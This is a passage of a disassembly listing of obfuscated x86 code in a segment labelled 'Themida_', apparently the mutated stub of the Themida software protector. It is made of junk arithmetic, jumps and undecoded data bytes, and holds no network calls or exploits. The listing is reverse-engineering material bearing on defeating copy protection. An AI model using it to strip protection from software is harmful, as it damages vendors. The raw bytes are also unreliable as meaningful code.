		dd 0A6E90000h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F7B:				; CODE XREF: Themida_:0054C4A4j
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_54C469
; ---------------------------------------------------------------------------
		db 0E9h, 0B0h, 0D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F8E:				; CODE XREF: Themida_:00550C67j
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54F3E8
; ---------------------------------------------------------------------------
		dd 104C483h, 0F0015BDEh, 2344E9h, 22146800h, 1C890000h
		dd 0E9E38924h, 5930h
; ---------------------------------------------------------------------------

loc_548FC0:				; CODE XREF: Themida_:0054C7FCj
		or	ebx, 3F882262h
		neg	ebx
		push	esi
		push	5282h
		mov	[esp], edi
		mov	edi, 0
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54CC02
; ---------------------------------------------------------------------------

loc_548FE3:				; CODE XREF: Themida_:00550184j
		xchg	ebp, [esp]
		not	ebp
		jmp	loc_547F4A
; ---------------------------------------------------------------------------

loc_548FED:				; CODE XREF: Themida_:0054904Dj
		mov	dx, [esp]
		add	esp, 2
		jmp	loc_549415
; ---------------------------------------------------------------------------
		dd 18E4B850h, 0C6011DA1h, 0FFDBF8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549009:				; CODE XREF: Themida_:005470D5j
		add	esi, 4
		jmp	loc_5478A5
; ---------------------------------------------------------------------------

loc_549014:				; CODE XREF: Themida_:0055192Aj
		or	eax, eax
		jmp	loc_5523AD
; ---------------------------------------------------------------------------
		db 1
		dd 242C8BEEh, 4C481h, 8AE90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54902B:				; CODE XREF: Themida_:0054B9B1j
		add	edi, 1E3C595Bh
		jmp	loc_54E501
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2, 964E972Dh, 51D8011Dh, 5940E9h
		db 0
; ---------------------------------------------------------------------------

loc_549049:				; CODE XREF: Themida_:0054AE89j
		mov	dl, 0D1h
		add	bl, dl
		jmp	loc_548FED
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 8B665C24h, 0EC83240Ch, 24348904h, 0FFF720E9h, 242C8BFFh
		dd 8F04C483h, 0AAE92404h, 52000007h, 4BAh, 0E9D10100h
		dd 6D83h, 0FFCFB9E9h, 8BF829FFh, 0C481243Ch, 4,	7BE9E801h
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549097:				; CODE XREF: Themida_:005496CCj
		push	ecx
		mov	ecx, 36173896h
		shr	ecx, 8
		jmp	loc_5467D2
; ---------------------------------------------------------------------------

loc_5490A5:				; CODE XREF: Themida_:00548988j
		push	edx
		mov	edx, 0EAF0257h
		sub	ebx, edx
		pop	edx
		push	small word ptr [eax]
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 0FE8C7C1Eh, 0E95EF389h, 0FFFFD924h, 0B344BCBBh, 245C012Dh
		dd 4295B04h, 3EE95024h,	0ADFFFFFAh, 207F83h, 2009E9h, 2434FF00h
		dd 4C4815Dh, 81000000h,	4ECh, 24348900h, 2930BF57h, 0D4BE4630h
		dd 1B9CFD6h, 0D5E95FFEh, 3100002Fh, 5904244Ch, 8124048Bh
		dd 4C4h, 68525500h, 1BD1BC5h, 72E2815Ah, 42535E67h, 0AAE9D2F7h
		dd 0BFFFFFE0h, 2, 565FFE29h, 42474FFh, 24048F5Eh, 0FFEF9BE9h
		dd 0C8B66FFh, 0D1E95624h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54914B:				; CODE XREF: Themida_:0054CF27j
		xor	ecx, esi
		jmp	loc_551F1A
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240CD324h, 2B79E99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54915E:				; CODE XREF: Themida_:0054D756j
		or	eax, eax
		jmp	loc_54C2E5
; ---------------------------------------------------------------------------

loc_549165:				; CODE XREF: Themida_:005484B8j
					; Themida_:00548872j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 3295712Ah
		add	[esp+4], ebp
		jmp	loc_54A113
; ---------------------------------------------------------------------------

loc_54917A:				; CODE XREF: Themida_:00547271j
		pop	ecx
		sub	edx, ebp
		sub	edx, 710F7ED3h
		jmp	loc_54FFB4
; ---------------------------------------------------------------------------

loc_549188:				; CODE XREF: Themida_:005475DAj
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	esi
		jmp	loc_54F4A1
; ---------------------------------------------------------------------------
		dd 8704C483h, 248B241Ch, 66E1F624h, 53CCB60Fh, 0C381E389h
		dd 4, 0FFD390E9h, 24048BFFh, 0E904C483h, 0FFFFDD72h, 4C681h
		dd 34870000h, 24248B24h, 0FFCE6DE9h, 24348BFFh,	4C481h
		dd 0EC810000h, 4, 0BD242C89h, 4, 0CF7C4705h, 2DE82939h
		dd 39CF7C47h, 2404335Dh, 0B70E9h
		db 0
; ---------------------------------------------------------------------------

loc_5491FD:				; CODE XREF: Themida_:0054DEBEj
		mov	edx, [esp]
		jmp	loc_54B9A2
; ---------------------------------------------------------------------------

loc_549205:				; CODE XREF: Themida_:0054C3A5j
		mov	[esp], edx
		jmp	loc_54746A
; ---------------------------------------------------------------------------
		db 66h,	51h, 9Ch
		dd 0FFCE29E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549215:				; CODE XREF: Themida_:0054E9FDj
		add	esi, ebx
		pop	ebx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54749F
; ---------------------------------------------------------------------------
		db 0BEh
		dd 3B8B241Ah, 8E95357h,	0E9000090h, 0FFFFCE0Ah,	69E9F901h
		dd 0B600006Ch, 80CEFE53h, 0B55101EEh, 0FEDDF657h, 0FED5F6C5h
		dd 5CED80CDh, 801FE9h
		db 0
; ---------------------------------------------------------------------------

loc_549255:				; CODE XREF: Themida_:0054FFC6j
		sub	edx, 42816EE3h
		add	edx, ebx
		add	edx, 42816EE3h
		jmp	loc_54CB8D
; ---------------------------------------------------------------------------
		dd 736BE981h, 0E1814B82h, 791859B5h, 1938F181h,	0C1811717h
		dd 7904254Ah, 0FFFFE981h, 0E1D1FFFFh, 3D19E9h, 2DE80100h
		dd 0B5D1B4Ch, 4A18BE56h, 0C3E90077h, 0E9000073h, 0FFFFCD9Ah
; ---------------------------------------------------------------------------

loc_5492A4:				; CODE XREF: Themida_:0054C970j
		mov	[esp], eax
		jmp	loc_546694
; ---------------------------------------------------------------------------
		dd 0E9F9F766h, 867Bh, 0EBB5352h, 0C10E3413h, 0F38104EBh
		dd 2525DCFh, 39DAEB81h,	0CB811FDBh, 12CA4AD9h, 88C2F381h
		dd 0DA89F0B5h, 8BD5315Bh, 0C4832414h, 70200504h, 38E91C08h
		dd 81FFFFF1h, 63C68FF6h, 5EF1210Ah, 6CBAE981h, 53412442h
		dd 8227D4BBh, 5BD9297Fh, 2850B850h, 6C2D521Eh, 0C16BE468h
		dd 0E80505E0h, 298C663Fh, 1CAE9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54931E:				; CODE XREF: Themida_:0054FB40j
		pop	ecx
		jmp	loc_5462F7
; ---------------------------------------------------------------------------
		dd 2C0CF681h, 20E928CCh, 0D2000029h, 0E99C240Ch, 0FFFFCD06h
		dd 0E924248Bh, 43Ch, 0C588D088h, 8B2B8858h, 55E9240Ch
		dd 83FFFFEAh, 0C48304C4h, 42E06804h, 1C890000h,	50E38924h
		dd 2E1EB5B8h, 0D06EE92Eh, 0E789FFFFh, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 591C4F09h, 0FFCCB9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549385:				; CODE XREF: Themida_:005497A0j
		xor	ebx, 7F6D022Bh
		jmp	loc_55081E
; ---------------------------------------------------------------------------
		dd 582434FFh, 0FFDB37E9h, 0CCA0E9FFh, 505DFFFFh, 8904EC83h
		dd 0BE56240Ch, 5EFE24E8h, 895EF189h, 2D4859C8h,	5EFE24E5h
		dd 5502EE81h, 0C6014213h, 5502C681h, 48B4213h, 0E3895324h
		dd 4C381h, 0BE560000h, 4, 875EF301h, 0E95C241Ch, 0FFFFF36Fh
		dd 34FFCF01h, 0C4835924h, 2C78104h, 0E9000000h,	7F71h
		dd 77C281h, 0D5018171h,	4ED815Ah, 87000000h, 248B242Ch
		dd 24048924h, 885EE9h
		db 0
; ---------------------------------------------------------------------------

loc_549415:				; CODE XREF: Themida_:00548FF7j
		sub	bl, 0F0h
		sub	esp, 2
		mov	[esp], cx
		push	ebx
		mov	bl, 0E7h
		jmp	loc_546FFB
; ---------------------------------------------------------------------------
		db 89h
		dd 4C581E5h, 81000000h,	4C5h, 242C3300h, 33242C31h, 0E95C242Ch
		dd 3159h, 0E95AD400h, 41E3h
; ---------------------------------------------------------------------------

loc_54944C:				; CODE XREF: Themida_:005464A1j
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4741289Bh
		add	edi, esi
		pop	esi
		add	edi, ebp
		jmp	loc_54ED7E
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0DB39E957h, 0EB68FFFFh, 8900003Fh, 2C812414h, 0DE669424h
		dd 0C5815D5Bh, 5BDE6694h, 0E924148Bh, 87F0h
; ---------------------------------------------------------------------------

loc_549494:				; CODE XREF: Themida_:0054AFFDj
		pop	edi
		add	ebp, ebx
		push	ebx
		mov	ebx, 64CA3A86h
		jmp	loc_54FB9F
; ---------------------------------------------------------------------------
		dw 0C2FEh
		dd 0C084C280h, 0EA8004EAh, 5AD000E1h, 0BF04712Ch, 0BF2CD828h
		dd 0D37BE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5494BE:				; CODE XREF: Themida_:0054ABC4j
		pop	edx
		mov	ebx, 32313446h
		jmp	loc_54D160
; ---------------------------------------------------------------------------

loc_5494C9:				; CODE XREF: Themida_:0054FA03j
		or	ebx, 6D387017h
		add	ebx, 70FA0155h
		sub	ebx, 0FB61C1Ah
		jmp	loc_54D199
; ---------------------------------------------------------------------------
		dd 0E950F788h, 40FCh, 0A8E98158h, 89025CD6h, 633559C8h
		dd 810C505Bh, 6D06F9EAh, 81C20159h, 6D06F9C2h, 0C2835859h
		dd 24148704h, 5024248Bh, 725E9h
		db 0
; ---------------------------------------------------------------------------

loc_549515:				; CODE XREF: Themida_:0054644Bj
		mov	ebp, 15A21AA9h
		mov	ecx, 34C990C4h
		sub	ecx, 5BA67095h
		sub	ecx, ebp
		add	ecx, 5BA67095h
		pop	ebp
		and	ecx, 14E13B44h
		sub	ecx, 783D3D6Ah
		not	ecx
		xor	ecx, 243461BEh
		xor	edx, ecx
		pop	ecx
		add	edx, 170D3F22h
		jmp	loc_549600
; ---------------------------------------------------------------------------

loc_549550:				; CODE XREF: Themida_:0054CF41j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	5829h
		mov	[esp], edi
		jmp	loc_54C90D
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0F9h
		dd 0AD000014h, 205D7F2Dh, 0F051E91Ch, 2668FFFFh, 8900007Ch
		dd 4B9240Ch, 81000000h,	0A850EFC2h, 81CA013Eh, 0A850EFEAh
		dd 1487593Eh, 24248B24h, 38685350h, 8B42E92Bh, 8951241Ch
		dd 4C181E1h, 0E9000000h, 7655h
; ---------------------------------------------------------------------------

loc_5495BC:				; CODE XREF: Themida_:0054C382j
		mov	edi, offset dword_570720
		sub	ebx, edi
		pop	edi
		jmp	loc_54C21D
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 0F2h
		dd 5166C328h, 42E9F2B1h, 5A000016h, 4C481h, 0C2810000h
		dd 4, 397DE9h, 1C78000h, 0FFE51CE9h, 0C18159FFh, 4, 0E904E983h
		dd 315Ch
; ---------------------------------------------------------------------------

loc_549600:				; CODE XREF: Themida_:0054954Bj
		sub	edx, 3CFB21D8h
		or	edx, 54C665C2h
		push	2757h
		mov	[esp], ebp
		mov	ebp, 87654Ch
		push	esi
		sub	esp, 4
		jmp	loc_54E539
; ---------------------------------------------------------------------------
		db 83h,	0C7h, 4
		dd 7EC1E9h, 243C8700h, 3C31D7F7h, 243C3324h, 5B243C31h
		dd 8369EB81h, 0DF01887Bh, 26C6E95Bh, 0A4BA0000h, 511EF225h
		dd 1C6733B9h, 0C1D9F73Eh, 814106E9h, 0C34854F1h, 0A5E98117h
		dd 0E9543B40h, 0FFFFD95Ch, 0E958C729h, 538Eh, 0ACBF575Eh
		dd 8112D61Bh, 3E5D9EC2h, 81FA010Ah, 3E5D9EEAh, 0D0015F0Ah
		dd 0E089505Ah, 405h, 4E88300h, 0E9240487h, 7789h
; ---------------------------------------------------------------------------

loc_5496A0:				; CODE XREF: Themida_:00551A50j
		dec	esi
		shr	esi, 7
		dec	esi
		sub	esi, 334813BAh
		xor	esi, 0CF2087Bh
		xor	esi, 0C34F5440h
		sub	eax, esi
		pop	esi
		sub	eax, 150B5A9Eh
		pop	edi
		push	dword ptr [edi+eax*4]
		push	0A4Ch
		mov	[esp], ecx
		push	eax
		jmp	loc_549097
; ---------------------------------------------------------------------------
		db 30h,	0F1h, 5Ah
aESS		db '¶¥(Îé¿s',0
		dd 0F9EB8100h, 0E9DD8CC3h, 0FFFFE589h, 4FEB805Ch, 0E9C0B60Fh
		dd 550h, 9D4CB5BBh, 1000E913h, 0E1050000h, 2D615C53h, 621B4C31h
		dd 3105D829h, 0E9621B4Ch, 16CAh, 2619B525h, 5D0F727h, 4260088h
		dd 48BC501h, 4C48324h, 0FFF925E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54972D:				; CODE XREF: Themida_:00549915j
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, esi
		xor	esi, ebp
		xor	ebp, esi
		jmp	loc_54BA74
; ---------------------------------------------------------------------------
		dd 0C581D5F7h, 0FFFFFFFFh, 0B07CED81h, 0E901E088h, 4C1815Dh
		dd 33000000h, 0C31240Ch, 240C3324h, 0E930FF5Ch,	0FFFFED9Dh
; ---------------------------------------------------------------------------

loc_549764:				; CODE XREF: Themida_:0054DFACj
		add	edi, 33FFF8ACh
		jmp	loc_550461
; ---------------------------------------------------------------------------
aItwVLvs_	db '‰âW¿‚%lVéÅ_',0
		align 4
		dd 4EC81h, 0F1E90000h, 5900000Eh, 0BA442D2Dh, 401AE97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549792:				; CODE XREF: Themida_:00550F5Ej
		mov	ebp, 1
		push	ebp
		xor	dword ptr [esp], 7F6D022Bh
		pop	ebx
		jmp	loc_549385
; ---------------------------------------------------------------------------
		db 0B2h, 0B3h, 80h
		dd 0E228F6C2h, 8BF6EA80h, 15E92404h, 53000075h,	4BBh, 5BDD2900h
		dd 1603E9h, 80586600h, 0EF8097CFh, 2F780E2h, 5FE9F830h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5497D7:				; CODE XREF: Themida_:0054EC7Cj
		mov	esp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_546EB0
; ---------------------------------------------------------------------------

loc_5497E2:				; CODE XREF: Themida_:005510B0j
		xor	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5477EF
; ---------------------------------------------------------------------------
		db 0B5h, 0CCh, 30h
		dd 0CCE4E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5497F6:				; CODE XREF: Themida_:0054FD47j
		push	dword ptr [esp]
		jmp	loc_548E51
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 7F685924h, 89000048h, 0BEE9240Ch, 55000048h,	4BF57h
		dd 0FD890000h, 1935E9h,	24248B00h, 4B01E952h, 48B0000h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5F2668h
		dd 240C8900h, 0FFD219E9h, 0D3F793FFh, 3EBF5793h, 501BA309h
		dd 2DCE955h, 0D4680000h, 89000076h, 0CFE92404h,	0D000078h
		dd 614A4614h, 2DE8D148h, 71DAAEDEh, 0E958C601h,	3713h
		dd 79FFCE81h, 18E93D3Bh
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549887:				; CODE XREF: Themida_:0054C41Fj
		add	eax, esi
		pop	esi
		sub	ebp, eax
		pop	eax
		sub	ebx, 513A74C8h
		sub	ebx, ebp
		add	ebx, 513A74C8h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_548343
; ---------------------------------------------------------------------------
		db 0F6h, 0DAh, 80h
		dd 0D00055C2h, 281C045Ah, 2C1C2CE8h, 4ABCE926h,	3DB90000h
		dd 556E2071h, 52176ABDh, 5DE9294Ch, 6C89E9h, 4B85000h
		dd 29000000h, 143358C2h, 24143124h, 8B241433h, 6AE92424h
		dd 83FFFFEFh, 343302C6h, 679E924h, 0D0310000h, 0AEEF815Ah
		dd 0E90AA339h, 7EA8h, 815DEB01h, 2C5ABEEBh, 4852E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549912:				; CODE XREF: Themida_:005473FEj
		and	eax, ecx
		pop	ecx
		jmp	loc_54972D
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 4C5h, 4B85000h, 29000000h, 0D7E6E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54992E:				; CODE XREF: Themida_:0054A222j
		push	esp
		jmp	loc_54B76A
; ---------------------------------------------------------------------------
		dd 0E4768h, 243C8900h, 831BF66h, 4EFC166h, 7B47E9h, 4C28100h
		dd 83000000h, 143304EAh, 24143124h, 5C241433h, 0FF242C89h
		dd 0FF042474h, 835D2434h, 48F04C4h, 2876E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549972:				; CODE XREF: Themida_:0054B3D1j
		sub	[edi+24h], edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_54E90B
; ---------------------------------------------------------------------------

loc_54997E:				; CODE XREF: Themida_:0054B74Cj
		mov	edi, 34F94949h
		sub	eax, edi
		pop	edi
		mov	edi, [esp]
		jmp	loc_54DB7B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0FE90E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549996:				; CODE XREF: Themida_:005506C9j
		add	esp, 4
		div	ecx
		push	6CB8h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 68h,	9Ch, 6Ah
		dd 0C890000h, 0E9E18924h, 221Ch, 81D5F74Dh, 694231EDh
		dd 5DEA012Dh, 48C2E958h, 0F4680000h, 89000033h,	9FBE2434h
		dd 1490F61h, 0D84CE9F0h, 7EBDFFFFh, 0E941EB5Dh,	77E0h
; ---------------------------------------------------------------------------

loc_5499EC:				; CODE XREF: Themida_:00547DB6j
		pop	eax
		sub	cl, 74h
		not	cl
		jmp	loc_54F5A2
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 732Fh, 5024048Bh, 121AE9h, 0EEBF5700h, 11A0437h
		dd 243C8BF9h, 4C481h, 0F7510000h, 50E92414h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549A23:				; CODE XREF: Themida_:00551F4Ej
		mov	ebx, 52E46B36h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	[esp+4], edi
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548BA8
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 2ABFBB24h, 0E9514E22h, 1976h, 51240C8Bh, 0C181E189h
		dd 4, 4C181h, 0CE90000h, 68000058h, 2, 3514055Bh, 0D80179B2h
		dd 0B235142Dh, 4335B79h, 24043124h, 4C41E9h, 4BD5500h
		dd 81000000h, 9E5847E9h, 0E9E90118h, 0FFFFD5D5h, 8FE9008Fh
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549AAF:				; CODE XREF: Themida_:00550FAFj
		mov	[esp], bx
		mov	bl, 73h
		push	ebx
		jmp	loc_54B96D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4BD8312Dh, 0E902EDC1h, 0FFFFF352h
; ---------------------------------------------------------------------------

loc_549AC8:				; CODE XREF: Themida_:0054E9A5j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54C6F6
; ---------------------------------------------------------------------------
		db 80h
		dd 0EB005DF5h, 0EFC5E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549AE2:				; CODE XREF: Themida_:0054D7DCj
		dec	bl
		push	eax
		mov	ah, 0
		add	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5476DF
; ---------------------------------------------------------------------------
		db 0BBh
		dd 4, 34F8EF81h, 0DF012BCDh, 34F8C781h,	6FE92BCDh, 0F7000023h
		dd 0DBF74BD3h, 0C3814B4Bh, 0DF4B1F10h, 28EE9h, 4C48100h
		dd 87000000h, 248B2434h, 2404FE24h, 0C508E99Ch,	21BDFFFFh
		dd 89058831h, 0E9505DE8h, 5623h, 5C241487h, 4558E9h
		db 0
; ---------------------------------------------------------------------------

loc_549B4D:				; CODE XREF: Themida_:0054ADB6j
		xor	eax, [esp]
		xor	[esp], eax
		push	dword ptr [esp]
		pop	eax
		push	230h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 6BA96405h
		dec	edi
		xor	edi, 2C581812h
		or	edi, 5A2C720Eh
		push	edx
		mov	edx, 35775CE2h
		shr	edx, 4
		jmp	loc_54FA10
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA2414h, 1000000h, 0FF505AD0h, 58042474h, 8B24048Fh
		dd 66E92424h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549BB3:				; CODE XREF: Themida_:00550994j
		inc	ebp
		push	edi
		mov	edi, 0
		sub	edi, ebp
		jmp	loc_548379
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0CEh
		dd 5000010h, 4,	5C22E9h, 13B5B800h, 0A135338Bh,	892FFA43h
		dd 24048BC2h, 4204C483h, 0FFD726E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549BE9:				; CODE XREF: Themida_:00550764j
		add	esp, 4
		xor	edi, 569E9D53h
		add	esi, 14F24114h
		add	esi, 6F8D6278h
		add	esi, edi
		jmp	loc_54F0F4
; ---------------------------------------------------------------------------
		db 1, 0C2h, 0E9h
		dd 24B5h, 5008EFC0h, 0DCE939B0h, 89000031h, 0D48AE9E2h
		dd 2159FFFFh, 148B1C57h, 8B545624h, 0CDE92434h,	8300004Fh
		dd 2C8904ECh, 0CA00E924h, 0FDB8FFFFh, 0E96C6C07h, 8016h
		dd 0E98734FFh, 0FFFFC3F2h, 0D03BE95Eh, 77FFFFFFh, 2434FF1Ch
		dd 0FFD0B5E9h, 4C781FFh, 81000000h, 4EFh, 74FF5700h, 8F5F0424h
		dd 895C2404h, 8CBB241Ch, 2D64835Bh, 255325h, 3DB0E9h, 0CF685800h
		dd 89000007h, 0FAE92404h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549C93:				; CODE XREF: Themida_:0054A857j
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		or	edx, eax
		jmp	loc_54C2F5
; ---------------------------------------------------------------------------
aBApBsNrpss9	db 'É€p*',1Bh,'é(nré˜9',0
		dd 5AD58900h, 1D06F581h, 8E9303Bh, 58FFFFE5h, 7947E9h
		dd 0E9505A00h, 2D60h, 5F77C581h, 0B850F015h, 7A50057Ah
		dd 0ECBA5248h, 29AA6976h, 0C5015AD0h, 1CFEE958h, 24890000h
		dd 24048324h, 0BF575904h, 7F861976h, 378CEF81h,	0F7573E0Dh
		dd 0E95F2414h, 889h, 7CEF581h, 0C5811F2Eh, 5B977B50h, 315DEB31h
		dd 0D7E9E9DAh, 0EBC1FFFFh, 6706E902h, 0E0890000h, 27C4E951h
		dd 0EAC10000h, 6AC28105h, 0E95DF334h, 663h, 5C241C87h
		dd 57240C89h, 0FFC2F7E9h, 240483FFh, 4D54E904h,	0C6810000h
		dd 264D2698h, 176C681h,	0C6814D76h, 57B43088h, 219DE9h
		dd 24043100h, 5C240433h, 0E9240C89h, 0FFFFC2C2h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 0EC835C24h, 24248904h,	4240483h
		dd 6824048Fh, 5F61h, 0E9241489h, 4812h,	0A1E9DE30h, 29000043h
		dd 0EFE95BDFh, 81000012h, 9D10FDEFh, 68C38109h,	107F20Dh
		dd 68EB81FBh, 5F07F20Dh, 8B241C87h, 0BE0F2424h,	2F1668C8h
		dd 0C890000h, 0C25CE924h, 0D800FFFFh, 241C8B66h, 0E902C483h
		dd 3FCBh, 4C481h, 0C4810000h, 4, 260968h, 24348900h, 36D9BB53h
		dd 5C294BB5h, 0FF5B0424h, 58E92434h, 5FFFFFF6h,	0FFF2EAE9h
		dd 5E8C1FFh, 0B25CCB05h, 8BC32941h, 0E8E92404h,	31FFFFD6h
		dd 6FE958C5h, 5700006Ah, 495FE9h, 0C5815D00h, 4, 4BF57h
		dd 0FD010000h, 7CC6E95Fh, 6C810000h, 45E70424h,	44013FBEh
		dd 44810424h, 45E70424h, 0FF583FBEh, 0E9582434h, 566Eh
; ---------------------------------------------------------------------------

loc_549E70:				; CODE XREF: Themida_:005481AFj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5485EB
; ---------------------------------------------------------------------------
		dd 0AF5BE56h, 0CE814885h, 68444377h, 59AEE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_549E92:				; CODE XREF: Themida_:005465B1j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		neg	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5473F1
; ---------------------------------------------------------------------------

loc_549EA5:				; CODE XREF: Themida_:0054C255j
		add	edx, 67F1671Dh
		jmp	loc_54A20E
; ---------------------------------------------------------------------------

loc_549EB0:				; CODE XREF: Themida_:0054D591j
		push	eax
		jmp	loc_54EC6F
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 0E1895124h, 0FFEEFAE9h, 8C680FFh, 535AF028h,	0FFE50CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_549ECD:				; CODE XREF: Themida_:00547FACj
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	ebx, 1
		or	ebx, 5C0B1530h
		push	0
		sub	dword ptr [esp], 7C461C80h
		jmp	loc_54FF25
; ---------------------------------------------------------------------------
		db 33h,	34h, 24h
		dd 0E9243431h, 0FFFFE9EAh
; ---------------------------------------------------------------------------

loc_549EF8:				; CODE XREF: Themida_:0054668Fj
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_551B76
; ---------------------------------------------------------------------------
		dd 6C21FA05h, 78685F04h, 89000050h, 0DE68243Ch,	0E9000020h
		dd 0FFFFD67Fh
; ---------------------------------------------------------------------------

loc_549F20:				; CODE XREF: Themida_:005502BAj
		mov	ecx, edi
		pop	edi
		add	eax, 21255BEAh
		add	eax, ecx
		sub	eax, 21255BEAh
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5508BA
; ---------------------------------------------------------------------------
		dw 55Dh
		dd 1320D2h, 0D22DF829h,	5F001320h, 3A4E702Dh, 0F7A8E910h
		dd 0F5BDFFFFh, 45054240h, 378C581h, 0F581501Bh,	7B105F4Dh
		dd 92E9E989h, 31000068h, 23E92434h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_549F77:				; CODE XREF: Themida_:0054DCE4j
		sub	ebp, edx
		pop	edx
		sub	ebp, 0F1C68A0Ah
		and	ebp, 41D22572h
		jmp	loc_546833
; ---------------------------------------------------------------------------

loc_549F8B:				; CODE XREF: Themida_:0054F9A9j
		mov	ecx, 31CC4E59h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 230269BAh
		jmp	loc_551EF1
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FF240489h, 0E9042474h, 109Dh, 0B551C6FEh, 0F3C580B9h
		dd 8027F580h, 0EE8001EEh, 0E9EE282Fh, 0FFFFDC08h, 515AD101h
		dd 42474FFh, 24048F59h,	2124248Bh, 0E99C2404h, 0FFFFC05Eh
		dd 0E904C483h, 3A67h, 0C108E7C1h, 0EFC107E7h, 67EF8103h
		dd 29B3D1A2h, 0E7A7E9FAh, 1C89FFFFh, 3AA5BB24h,	4BE91E9Dh
		dd 2D000016h, 620D44F0h, 8904EC83h, 1468241Ch, 5B007AFAh
		dd 1C8BD801h, 0C9685124h, 0E900000Eh, 0FFFFFCC2h
; ---------------------------------------------------------------------------

loc_54A02C:				; CODE XREF: Themida_:005514A6j
		push	660Ch
		jmp	loc_54CBF8
; ---------------------------------------------------------------------------
		dw 0C601h
		dd offset dword_4B419C+0CCh
		dd 24048900h, 407FDBB8h, 0EBB530Bh, 81535316h, 53160FF3h
		dd 0E9D82953h, 5B2Ah, 8324148Bh, 148904ECh, 0E9E28924h
		dd 592Fh
; ---------------------------------------------------------------------------

loc_54A068:				; CODE XREF: Themida_:0054CFA1j
		mov	[edi+20h], ecx
		pop	ecx
		pop	ebx
		mov	eax, [esp]
